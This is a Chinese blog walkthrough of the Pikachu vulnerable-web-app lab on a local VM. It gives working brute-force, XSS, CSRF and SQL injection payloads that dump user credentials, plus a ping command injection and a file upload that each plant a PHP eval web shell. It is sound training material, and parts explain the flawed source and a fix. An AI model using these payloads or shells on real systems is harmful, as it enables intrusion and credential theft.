本文最后更新于 2024-09-20,文章内容可能已经过时。

pikachu靶场渗透实战笔记

实验环境:

攻击机:kali(VMware)(ip:192.168.91.129)

靶机:php51(xmapp搭建的靶场环境)(ip:192.168.91.128)

本地地址:http://192.168.91.128/secenvs/pikachu/

image-20240702191425336

靶场下载地址

pikachu官网下载

下载地址:https://github.com/zhuifengshaonianhanlu/pikachu

pikachu简介

pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么pikachu可能正合你意。

Pikachu上的漏洞类型列表如下:

  • Burt Force(暴力破解漏洞)
  • XSS(跨站脚本漏洞)
  • CSRF(跨站请求伪造)
  • SQL-Inject(SQL注入漏洞)
  • RCE(远程命令/代码执行)
  • Files Inclusion(文件包含漏洞)
  • Unsafe file downloads(不安全的文件下载)
  • Unsafe file uploads(不安全的文件上传)
  • Over Permisson(越权漏洞)
  • ../../../(目录遍历)
  • I can see your ABC(敏感信息泄露)
  • PHP反序列化漏洞
  • XXE(XML External Entity attack)
  • 不安全的URL重定向
  • SSRF(Server-Side Request Forgery)
  • More...(找找看?..有彩蛋!)
  • 管理工具里面提供了一个简易的xss管理后台,供你测试钓鱼和捞cookie~

每类漏洞根据不同的情况又分别设计了不同的子类
同时,为了让这些漏洞变的有意思一些,在Pikachu平台上为每个漏洞都设计了一些小的场景,点击漏洞页面右上角的"提示"可以查看到帮助信息。

pikachu安装

1.先下载pikachu-master,解压到lampp的目录的../htdocs/secenvs/目录下

2.在../htdocs/secenvs/pikachu/inc/下,根据实际情况修改inc/config.inc.php里面的数据库连接配置;

image-20240702192046714

将密码修改为数据库密码(提前建好对应名称的数据库),访问http://x.x.x.x/pikachu,会有一个红色的热情提示"欢迎使用,pikachu还没有初始化,点击进行初始化安装!",点击即可完成安装。

访问页面初始化

image-20240702191750043

点击安装,初始化即可安装完成。

image-20240702204719268

打靶流程

一、暴力破解漏洞

暴力破解漏洞概述

image-20240702201031481

1.1 基于表单的暴力破解

前期准备

抓包工具:Burp Suite
浏览器代理插件:SwitchOmega或FoxyProxy
字典:users.txt和pwd.txt。由于是实验环境,故字典随意填写即可。注意其中需要包含任意一组正确的账号密码:admin/123456pikachu/000000test/abc123

#users.txt

test

admin

root

admin123

#pwd.txt

12381923

password

123456

1234567

漏洞页面

image-20240702201304628

开启burpsuit,抓包拦截

image-20240702201602160

image-20240702201548860

浏览器打开FoxyProxy,账号密码随便输入

image-20240702201706476

image-20240702201700213

页面中右键(发送到Intruder)开始暴力破解。

image-20240702202538955

payload set 1用户:

image-20240702202908513

payload set 2 密码:

image-20240702203050330

开始爆破

点击右边的开始攻击按钮即可开始爆破攻击。

image-20240702203255857

密码爆破成功,进行登录

密码爆破成功,用户名admin,密码123456,进行浏览器登录尝试

image-20240702203409239

源代码分析:

文件路径在:vul/burteforce/bf_form.php

image-20240702230643923

通过注释可以知晓,没有验证码和其他访问控制,直接可以爆破。

1.2、验证码绕过(on server)

漏洞页面

image-20240702230840148

由题意可知,比上面多了一个验证码,时抓包可以尝试重放,多点击几次send 然后查看返回结果

image-20240702231504231

先正常填写验证码,密码和用户名随意,抓包后查看

image-20240702232000859

在用户名或者密码更改,验证码不更改的情况下,没有提示验证码错误的信息,说明了验证码可以重复利用,即同一个验证码可以重复使用多次,也就是只要页面不刷新,就可以一直用这个验证码。

开始爆破

直接和第一关一样,发送到爆破模块,可以得到和上面一样的用户名和密码。

admin,123456

image-20240702232539670

image-20240702232328276

源代码分析:

源代码路径:vul/burteforce/bf_server.php

image-20240702232821851

通过注释可以知晓,在验证码验证完成后,没有及时消除seession值,导致验证码可以重复利用。

1.3、验证码绕过(on client)

漏洞页面

image-20240702230932671

正常输入用户名和密码验证码,后弹出了验证码输入错误的提示,验证码来自于js前端。

image-20240702233057269

burp抓包,将验证码的参数填空。

image-20240702233527593

发现提示的是用户名或密码错误,没有校验验证码参数,直接开始爆破即可

开始爆破

image-20240702233911322

源代码分析

源代码文件位置:f12查看前端即可

image-20240702234209220

在前端校验验证码,调过来服务器验证,所以导致出现验证码失效的漏洞。

1.4、token防爆破?

漏洞页面

image-20240702230946411

正常填写用户名和密码,burp抓包后查看。

image-20240702234512563

抓包后发现多出了一个token值,重放无法利用。

经过查找发现是在密码输入框的下方多一个隐藏的输入框,记录的是token的信息,

image-20240703001834058

那么直接拿去burp上开始爆破

开始爆破

ctrl+i 发送到爆破

模式选择 pitchfork 勾选两个参数,一个是密码,一个是token

image-20240703000956820

payload set 1 密码字典

image-20240703001126658

payload set 2 token

选择 Recursive grep(递归提取)

然后来到设置选项 勾选跟随重定向,然后点击正则的 Add

image-20240703001716256

鼠标选中token的值,burp会自动生成正则表达式,不用自己手动输,点击ok

image-20240703001655069

线程选项要更改一下, 设为单线程,然后直接开始爆破

image-20240703002000390

image-20240703002100986

每次爆破的自动带入了当前页面的token,依旧根据长度判断

爆破成功,得到 admin的密码为123456

源代码分析

源代码路径:vul/burteforce/bf_token.php

63行生成token

image-20240703002221221

调用的函数文件:vul/inc/function.php

image-20240703002508478

函数每次调用前都会检查当前session是否有token参数,有的话会先删除掉这个token再重新生成并保存到session中,也就无法重复利用了

二、XSS漏洞

xss漏洞概述

image-20240702203944307

2.1 反射型xss(get)

漏洞页面

image-20240703002901404

漏洞利用

输入框输入payload

<script>alert(1)</script>

image-20240703003129114

输入到一半的时候发现输入不了了,F12打开页面源代码查看发现原来是限制了字数,修改后,重新输入即可。

image-20240703003404623

点击submit提交后弹出js窗口,利用成功。

image-20240703003431509

源代码分析

文件路径 vul/xss/xss_reflected_get.php

image-20240703004135021

查看源代码可知,提交get参数上来的时候,没有做任何过滤处理,导致了xss漏洞。

顺带一提,查看源代码的时候发现有彩蛋,页面中输入kobe提交后会出现如下:

作者是牢大的粉丝。。。。

image-20240703003756317

2.2 反射型xss (post)

漏洞页面

image-20240703002950326

漏洞利用

一个登录框,直接根据我们上面爆破到的用户名跟密码登录即可

(用户名:admin,密码:123456)

登录进去后输入框输入pyload

<script>alert(1)</script>

image-20240703004632712

源代码分析

源代码文件位置:

vul/xss/xsspost/xss_reflected_post.phpimage-20240703004803839

上面一关唯一不同的就是传递的方式有GET转为了POST,同样也是无任何过滤直接返回到前端导致了xss漏洞。

2.3 存储型XSS

漏洞页面

image-20240703004940014

漏洞利用

输入框直接输入payload

<script>alert('hello')</script>

image-20240703021827523

image-20240703021839620

源代码分析

源代码文件位置:

vul/xss/xss_stored.php

image-20240703021102382

查看源代码可知,页面无过滤,将值传入数据库,在数据库中取值,由于没有过滤条件造成存储型XSS, 每次当不同的用户访问这个留言板时, 都会触发这个js代码, 因为是存储在数据库里(存储型)。

彩蛋:delete的sql注入

image-20240703021233618

DOM型XSS

漏洞页面

image-20240703022324189

漏洞利用

将传递的值当作了标签的href属性,直接输入payload

<a href='#' onclick="alert(1)">'>点击</a>

利用了DOM将字符串进行了拼接并把值给a标签的href,可以利用已知条件构建点击事件的效果为弹窗,弹窗内容为1

image-20240703022852074

源代码分析

源代码文件位置:

vul/xss/xss_dom.php

image-20240703023014836

通过源代码可知,字符串进行了拼接并把值给a标签的href,从而造成了DOM型的XSS漏洞。

同时可以使用注释给出的payload:

'><img src="#" onmouseover="alert('xss')">

' onclick="alert('xss')">

列如使用第二个payload执行的时候会在源代码中拼接成如下的样子,'>'这个正好给注释掉了,点击后就会造成XSS漏洞。

image-20240703023534834

DOM型XSS-X
漏洞页面

image-20240703023812324

image-20240703024049307

漏洞利用

一样使用上一关的几个payload即可

' onclick="alert('xss')">

image-20240703024249656

image-20240703024213568

点击让往事随风,弹出窗口后会消失,他真的我哭死。。。

源代码分析

源代码文件位置:

vul/xss/xss_dom_x.php

image-20240703023923105

通过源代码可知,和上一关一样,只是多出了一些字段而已。

xss之盲打

漏洞页面

image-20240703024614101

漏洞利用

上面的输入框输入payload

<script>alert(1)</script>

输入构造语句后发现完全不显示在页面上

image-20240703143627711

查看源代码发现是post请求,再根据提示登录后台登录地址

http://192.168.91.128/secenvs/pikachu/vul/xss/xssblind/admin_login.php

image-20240703143838876

image-20240703144052952

用之前爆破出来的用户名和密码登录后,发现弹窗

image-20240703144133520

源代码分析

源代码位置:

vul/xss/xssblind/xss_blind.php

可以看到用post提交的

image-20240703145007435

vul/xss/xssblind/admin.php后台登录页面

image-20240703145158438

xss之过滤

漏洞页面

image-20240703145256256

正常输入payload测试

<script>alert(1)</script>

image-20240703145758107

点击url无用

大小写绕过,即可

<ScRiPt>alert(1)</ScRiPt>

image-20240703150534787

源码分析

源代码文件位置

vul/xss/xss_01.php

可以看到源代码中使用了正则表达式对 <script字段进行了过滤(替换为空),但是没有替换大小写的过滤,所以直接使用大小写即可绕过。

image-20240703150757097

xss之htmlspecialchars

漏洞页面

image-20240703145338302

漏洞利用

直接在输入框中输入pyload:

' onclick='alert(123)'

image-20240703151809268

源代码分析

源代码文件位置:

vul/xss/xss_02.php

可以看到源代码中使用了 htmlspecialchars对字段进行了处理,这个函数会过滤简括含号 (),但是 htmlspecialchars默认不会对 '进行处理,所以在payload上加入单引号就可绕过

image-20240703151208790

xss之href输出

漏洞页面

image-20240703145349600

漏洞利用

输入框中输入payload:

使用伪协议:

javascript://%0aprompt(1)//

image-20240703152408209

源代码分析

源代码文件位置:

vul/xss/xss_03.php

查看源代码,可以知晓消息输出在a标签的href属性,所以可以使用伪协议进行绕过。

同时,还添加了一些过滤措施,只允许使用http和https,并用htmlspecialchars进行处理,这个函数会过滤简括含号

image-20240703152502398

小彩蛋

啥也不输入直接在输入框中提交:

image-20240703153100719

输入www.baidu.com在输入框中提交:

image-20240703152920578

xss之js输出

漏洞页面

image-20240703145359030

小彩蛋

image-20240703145441254

根据提示输入tmac

image-20240703145547861

漏洞利用

关卡考点在js上,需要使用单引号闭合掉前面的js,再插入XSS。

在输入框输入payload

'-prompt(1123)-'

image-20240703153339376

点击确定后

image-20240703153600109

源代码分析

源代码位置:

vul/xss/xss_04.php

查看源代码可知,在JS的输出点应该使用\对特殊字符进行转义,进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。所以可以在前端构造payload使JS进行闭合,从而构造XSS攻击。

image-20240703153523731

三、CSRF漏洞

CSRF漏洞概述

image-20240703005323185

3.1 CSRF(get)

漏洞页面

image-20240703154120425

漏洞利用

image-20240703154302586

根据提示输入用户名和密码进行登录。

image-20240703154345571

点击修改个人信息,修改地址为hello,burp抓包查看。

image-20240703154517472

image-20240703155657036

http://192.168.91.128/secenvs/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=hello&email=vince%40pikachu.com&submit=submit

构造payload(url):(修改地址为helloword的)

http://192.168.91.128/secenvs/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=helloword&email=vince%40pikachu.com&submit=submit

假设登录的是受害者,受害者在登录状态下点击了攻击者构造的url后,出现如下:

image-20240703160133054

如图,受害者的地址被改为helloword,即可完成CSRF攻击(get型的)

3.2 CSRF(post)

漏洞页面

image-20240703154127200

漏洞利用

同样,根据提示输入用户名和密码进行登录

image-20240703161718973

修改地址,burp进行抓包查看

image-20240703161859052

抓包后发现,URL不再显示修改参数,所以无法再使用通过URL来伪造请求进行修改构造CSRF,但是通过抓包可以知道本页面中有的标签以及name,方便后面构造表单时使用

构造CSRF的poc

抓包页面右键选择Engagement tools(相关工具) => Generate CSRF PoC(生成CSRF poc)

image-20240703162450504

点击复制html,模拟登录的受害者在浏览器点击html后,显示如下内容:

image-20240703162717568在HTTP历史纪录中测试是否成功发出了预期的请求并执行了相应操作。

image-20240703162939923

可以看到地址信息被修改,至此完成CSRF (post型的)的攻击流程。

3.3 CSRF Token

漏洞页面

漏洞利用

同样使用上述提示的用户名和密码登录到后台

image-20240703193619658

修改个人信息后,burp抓包

image-20240703193855104

image-20240703193914908

发现存在token验证,构造一般的PoC肯定不行。在这里用到插件“CSRF Token Tracker”,在“Extender”的“BApp商店”里面即可下载安装:

image-20240703194124778

新增一条

image-20240703195819382

将上文的数据包发送到“Repeater”,发送数据包,查看能否修改:

image-20240703194903299

image-20240703195627132

插件页面出现了对应的token值

Repeater页面点击“Follow redirection”(跟随重定向),再次修改发现修改成功:

image-20240703200102963

image-20240703201004587

在网页中验证:

image-20240703200812735

四、SQL注入漏洞

SQL注入漏洞概述

image-20240703005337837

4.1 数字型注入(post)

漏洞页面

image-20240703203038725

漏洞利用

查看页面是一个下拉菜单,在页面中无法注入,通过burp抓包看看

下拉菜单,选择id=1,burp抓包

image-20240706150030962

发送到重放模块,修改id=1',发送查看

image-20240706150044714

页面报错,说明存在SQL注入

image-20240706150148288

id=1
id=2 页面返回不一样的内容
id=2-1 页面返回跟页面1一样的内容,说明后端执行了2-1,所以返回了id=1的内容,判断得知这是一个数字型的注入
#判断后端的字段数
id=1 order by 1-- -		正常返回
id=1 order by 2-- -		正常返回
id=1 order by 3-- -		报错
#说明字段数为3

#判断页面回显数
id=1 union select 1,2-- -		回显1,2,说明1,2两个字段都有回显
#爆库和用户名
id=1 union select user(),database()-- -
#得到用户名为root,使用的数据库为pikachu

image-20240706151002943

#爆表
id=-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- 
#得到数据库pikachu的表为httpinfo,member,message,users,xssblind

image-20240706151348666

#爆字段名(爆users表的里面有密码和用户名等信息)
id=-1 union select user(),group_concat(column_name) from information_schema.columns where table_name='users'-- -

image-20240706152802115

#爆用户名和密码
id=-1 union select user(),group_concat(username,'~',password,0x3c62723e) from users-- -
#0x3c62723e为<br>转码16进制,这里是为了方便查看

image-20240706153326575

4.2 字符型注入(get)

漏洞页面

image-20240703203045842

漏洞利用

根据上一关id=1时查到的用户名vince

直接在输入框中输入payload

vince' and 1=1-- -

image-20240706153545234

由此判断有注入存在是字符型的注入

继续在框里输入payload尝试

#查看有多少字段
vince' and 1=1 order by 2-- -
vince' and 1=1 order by 3-- -		错误,;说明回显位为2位

#查看回显位
vince' and 1=1 union select 1,2-- -			2位回显位

#爆库
vince' and 1=1 union select user(),database()-- -
#使用root用户,pikachu库名

#爆表
vince' and 1=1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
#爆出表名httpinfo,member,message,users,xssblind

#爆字段名
vince' and 1=1 union select user(),group_concat(column_name) from information_schema.columns where table_name='users'-- -


#爆用户名和密码
vince' and 1=1 union select user(),group_concat(username,'~',password,0x3c62723e) from pikachu.users-- -

最终得到的用户名和密码如下:

image-20240706154930136

4.3 搜索型注入

漏洞页面

image-20240706155234426

漏洞利用

在页面中输入payload如下

%vin' and 1=1-- -

image-20240706155245098

vin%' and 1=1#

image-20240706160438974

由此可见,此处有sql注入存在,只是闭合方式变成了#

#猜测字段
vin%' and 1=1 order by 3#
vin%' and 1=1 order by 4#			出错,说明字段位是3位


#爆回显位
vin%' and 1=1 union select 1,2,3#
#回显位1,2,3

image-20240706160730633

#爆库
vin%' and 1=1 union select user(),database(),3#

#爆表
vin%' and 1=1 union select user(),database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

#爆字段
vin%' and 1=1 union select user(),database(),group_concat(column_name) from information_schema.columns where table_name='users'#

#爆用户名和密码
vin%' and 1=1 union select user(),database(),group_concat(username,'~',password,0x3c62723e) from pikachu.users#

最终注入出的用户名和密码如下:

image-20240706161444138

4.4 xx型注入

漏洞页面

image-20240703203102346

漏洞利用

直接在输入框中输入如下尝试:

vince			无报错
vince'			有报错,根据页面返回信息得知是)闭合

image-20240706161836856

输入payload

vince')-- -			无报错

说明可以注入

#猜测字段数
vince') order by 2-- -
vince') order by 3-- -			报错,说明字段数位为2

#爆出页面回显位
vince') union select 1,2-- -		回显位1,2

image-20240706162146572

#爆库和用户名
vince') union select user(),database()-- -


#爆表
vince') union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -

#爆字段
vince') union select user(),group_concat(column_name) from information_schema.columns where table_name='users'-- -

#爆用户名和密码
vince') union select user(),group_concat(username,'~',password,0x3c62723e) from pikachu.users-- -

最终注入出的用户名和密码如下

image-20240706162814946

4.5 “insert/update”注入

"insert注入"
漏洞页面

image-20240703203111037

漏洞利用

点击页面中的注册按钮,填写注册信息,用burp抓包

image-20240706163420711

测试闭合

sqlusername=666666','66')&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#报错

username=666666','66','66','66','66','66')#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#注册成功,说明是')闭合

SQL语句错误时会报错,可以使用报错注入

image-20240706163946889

构造payload

username=666666' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

image-20240706164657227

updatexml报错注入的原理:

updatexml() 函数
UPDATEXML (XML_document, XPath_string, new_value);

一:XML_document是String格式,为XML文档对象的名称

二:XPath_string (Xpath格式的字符串)

三:new_value,String格式,替换查找到的符合条件的数据

函数对XPath_string进行查询操作,如符合语法格式要求,用第三个参数替换,对于不符合语法格式要求的,报错并带出查询的结果

updatexml(1,concat(0x7e,substr(( ),1,31),0x7e),1)

substr(string, start,) 长度大于31即可带出查询结果

#爆表
username=' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit


#爆字段
username=' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,32),0x7e),1) or '#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit



username=' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#查询到字段password


username=' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#查询到字段user


#爆用户名和密码
username=' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or'#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#爆出admin用户的用户名和密码

"update注入"
漏洞页面

image-20240706170420694

在页面性别一栏修改后,点击submit,用burp抓包

image-20240706170437931

漏洞利用
#测试闭合
sex=123456' and 1=1#&phonenum=123456&add=123456&email=123456&submit=submit
#报错
sex=123456'' and 1=1#&phonenum=123456&add=123456&email=123456&submit=submit
#不报错

#闭合是'

image-20240706170623697

#爆库
username=123456&password=123456&sex=123456' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=123456&add=123456&email=123456&submit=submit

#爆表
sex=123456' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=123456&add=123456&email=123456&submit=submit

#爆字段
sex=123456' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=123456&add=123456&email=123456&submit=submit

#爆用户名和密码
sex=123456' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=123456&add=123456&email=123456&submit=submit

4.6 “delete”注入

漏洞页面

image-20240703203120568

漏洞利用

image-20240706171220674

image-20240706171234622

在留言页面随便留个言,点击submit提交后,跳转进入留言页面,点击删除,burp抓包

image-20240706171830301

找到删除页面http://192.168.91.128/secenvs/pikachu/vul/s?qli/sqli_del.php

#爆库
http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_del.php?id=66 or updatexml(1,concat(0x7e,(select database()),0x7e),1)

image-20240706171918786

#爆表
http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_del.php?id=66 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)

#爆字段
http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_del.php?id=66 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)

#爆用户名和密码
http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_del.php?id=66 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)

image-20240706172053535

4.7 “http header”注入

漏洞页面

image-20240703203130637

漏洞利用

页面中随便输入弱密码进行登录,burp抓包后查看

(admin,123456)

image-20240706172925502

image-20240706173026410

通过请求头部也可以向数据库发送查询信息

构造恶意语句可以对数据库进行信息查询

Accept:属于http请求头,描述客户端希望接收的响应body 数据类型

总的来说就是希望服务器返回什么样类型的数据

Content-Type:发送端(客户端|服务器)发送的实体数据的数据类型。

image-20240706173159986

image-20240706173225188

修改Accept:1 无报错,Accept:1' 报错 ,所以这里存在SQL注入点

由于页面报错sql信息,可以使用报错注入

#爆库
Accept: 1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

#爆表
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

#爆字段
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '


#爆用户名和密码
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'+',password)) from users),1,31),0x7e),1) or '

image-20240706173540222

4.8 盲注(base on boolian)--布尔盲注

漏洞页面

漏洞利用

不想手工的话直接上sqlmap或者编写python脚本进行注入

输入用户名和密码点击查询,用sqlmap进行注入

#爆库
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_b.php?name=1234&submit=查询' --current-db

image-20240706174142270

image-20240706174257979

#爆表
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_b.php?name=1234&submit=查询' -D pikachu --tables
#爆出表名member,httpinfo,message,users,xssblind

image-20240706174410244

#爆字段
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_b.php?name=1234&submit=查询' -D pikachu -T users --columns

image-20240706174547601

#爆数据库用户名和密码
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_b.php?name=1234&submit=查询' -D pikachu -T users -C username,password --dump

image-20240706174811986

获取到密码的md5值

image-20240706174834978

选择sqlmap默认字典进行暴力破解,获取到用户名和密码

image-20240706175317326

image-20240706175427527

4.9 盲注(base on time)--时间盲注

漏洞页面

image-20240703203153503

漏洞利用

不想手工的话,一样用sqlmap或者python脚本进行注入

## 方法一:使用sqlmap进行注入
#爆库名
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_t.php?name=1234&submit=查询' --current-db

#爆表
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_t.php?name=1234&submit=查询' -D pikachu --tables

#爆字段
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_t.php?name=1234&submit=查询' -D pikachu -T users --columns

#爆数据
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_t.php?name=1234&submit=查询' -D pikachu -T users -C username,password --dump

image-20240706175427527

4.10 宽字节注入

漏洞原理

宽字节注入有addslashes,mysql_escape_string,mysql_real_escape_string等转义的函数

对输入'符号进行了转义'

pikachu靶场是addslashes()进行了转义

单引号(')
双引号(")
反斜杠(\)
NULL
在下方设置编码时设置为了gbk编码

利用反斜杠编码为%5c

用%df构成(連)字绕过对 ’符号 的转义就可以进行sql注入

漏洞页面

image-20240703203202355

漏洞利用

在输入框测试注入点:

1好		正常
1好'		出现错误
1好'-- -		正常

#说明有宽字节注入,闭合是'
#汉字随便输什么都可以,这里我用的汉字是好,汉字就代表%df

在漏洞页面的输入框中输入如下payload

#查找字段信息
1好' order by 2-- -		正常
1好' order by 3-- -		出错
#说明字段数位为2位

#爆回显位
1好' union select 1,2-- -
#爆出回显位为1,2

#爆出数据库名和用户名
1好' union select user(),database()-- -

#爆表
1好' union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -

#爆字段
1好' union select user(),group_concat(column_name) from information_schema.columns where table_name='users'-- -
#这里报错,应该是转义注释掉了

#爆字段
1好' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))-- -

#爆数据
1好' union select username,password from pikachu.users-- -

最终爆出的数据用户名和密码如下:

image-20240707034236035

五、RCE(远程代码执行)漏洞

RCE(远程代码执行)漏洞概述

image-20240703005355483

5.5 exec "ping"

漏洞页面

image-20240707034342268

漏洞利用

测试如下payload在输入框中点击ping

ping localhost 
#页面回显信息

ping localhost | ipconfig
#页面没有回显

payload 127.0.0.1 && echo 123
#有回显123

#尝试写入文件
ping 127.0.0.1 | echo "<?php eval($_REQUEST['A'])?>" > ../../../test.php
#成功写入,用蚁剑进行连接即可
#链接地址为:http://192.168.91.128/secenvs/pikachu/vul/rce/test.php

image-20240707145852978

image-20240707150728106

image-20240707150738795

源代码分析

源代码位置

/vul/rce/rce_ping.php

image-20240707151334295

在程序执行22行这段代码的 $_POST[‘ipaddress’]赋值给了 $ip,但是后续代码没有经过任何处理就给26行的 shell exec()函数去执行,导致造成了远程代码执行漏洞。

防御
# 漏洞防御代码
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
    $check=explode('.', $ip);//可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(count($check) === 4 &&
        ($check[0] >= 1 && $check[0] <= 255) &&
        ($check[1] >= 0 && $check[1] <= 255) &&
        ($check[2] >= 0 && $check[2] <= 255) &&
        ctype_digit($check[3]) && $check[3] >= 1 && $check[3] <= 255)
    {
        if(stristr(php_uname('s'), 'windows')){
            $result.=shell_exec('ping '.$ip);
        }else {
            $result.=shell_exec('ping -c 4 '.$ip);
        }
    }else {
        // IP地址不合法
        die("Invalid IP address!");
    }
}

5.6 exec "evel"

漏洞页面

image-20240703202411957

漏洞利用

在输入框输入payload:

phpinfo();

image-20240703202335112

可以看到直接显示出php信息,也可以直接执行系统命令

system("whoami");
源代码分析

源代码位置:

/pikachu/vul/rce/rce_eval.php

image-20240703202636650

查看源码可以发现没有做任何校验,直接将我们输入的代码传递到了eval()函数中。在后端代码中尽量避免使用PHP危险函数。或者使用白名单策略,来对用户输入的命令做一个限制。

防御

在后端代码中尽量避免使用PHP危险函数。或者使用白名单策略,来对用户输入的命令做一个限制。

六、文件包含漏洞

文件包含漏洞概述

image-20240703005412530

6.1 本地文件包含

漏洞页面

image-20240707152115593

漏洞利用

在漏洞页面的下拉框随便选一个点击提交,后观察url地址信息,发现文件显示名称为file1.php

image-20240707154820436

按照设计这些文件都是后台自己存在的文件。但是由于这个我呢见名是前端传向后台的,也就意味着我们可以直接通过url修改这个文件。

由于我的靶机安装在linux上,其中有很多固定的配置文件,我们可以多敲几个…/…/…/…/…/…/…/…/…/跳转到根目录,我们将文件名替换可以查看目标系统文件。

image-20240707155435895

6.2 远程文件包含

远程文件包含漏洞形式和本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程代码。
远程包含漏洞前提,如果使用的是include和require函数,则需要php.ini配置如下(php5.4.34):
allow_url_fopen=on //默认打开
allow_url_include=on //默认关闭

修改lampp的/etc/php.ini即可

漏洞页面

image-20240707155717263

漏洞利用

页面选择一个提交,url显示如图

image-20240707155756858

它实际上提交的是一个目标文件的路径,我们可以改成一个远端的路径,读取远程文件。

在pikachu主目录下的/test文件夹下有个测试文件yijuhua.txt,我们拿他来测试

image-20240707155945641

将文件替换成远程路径,构造url,访问yijuhua.txt

image-20240707160232846

http://192.168.91.128/secenvs/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.91.128/secenvs/pikachu/test/yijuhua.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

会自动生成一个yijuhua.php文件

image-20240707160844090

然后我们通过yijuhua.php构造url,发现ipconfig执行了。

image-20240707161525023

七、不安全文件下载漏洞

不安全文件下载漏洞概述

image-20240703005428812

漏洞页面

image-20240707190759503

漏洞利用

正常功能点击球员名字,就可以下载图片。我们以点击牢大名字为例,点击下载后。右键,新建标签页打开文件

image-20240707163422964

我们可以直接修改filename的值去下载其他图片,我们还可以使用目录遍历的方式去修改链接下载敏感文件。

八、不安全文件上传漏洞

不安全文件上传漏洞概述

image-20240703005458364

文件上传漏洞测试流程
1、上传文件,查看返回结果(路径,提示等)
2、尝试上传不同类型的“恶意”文件,比如xx.php文件,分析结果
3、查看html源码,看是否通过js在前端做了上传限制,想办法绕过
4、尝试使用不同方式进行绕过:黑白名单绕过/MIME类型绕过/目录0x00截断绕过等
5、猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试

client check(客户端check)

image-20240707163815789

漏洞利用

查看漏洞页面发现只能上传图片,尝试上传其他后缀名的文件会显示上传的文件不符合要求,请重新选择。

我们上传牢大试试,嗯,没问题

image-20240707170117677

按F12查看源码

image-20240707170315010

发现是这个onchange()函数对上传的文件做了过滤处理,删掉,试试再上传一句话木马文件试试:

#构造一句话木马,保存位test2.php做上传准备
<?php @eval($_POST['hello']);?>

image-20240707170909657

上传成功,蚁剑进行连接

url:http://192.168.91.128/secenvs/pikachu/vul/unsafeupload/uploads/test2.php

image-20240707171125021

MIME type(服务端check)

image-20240707163825261

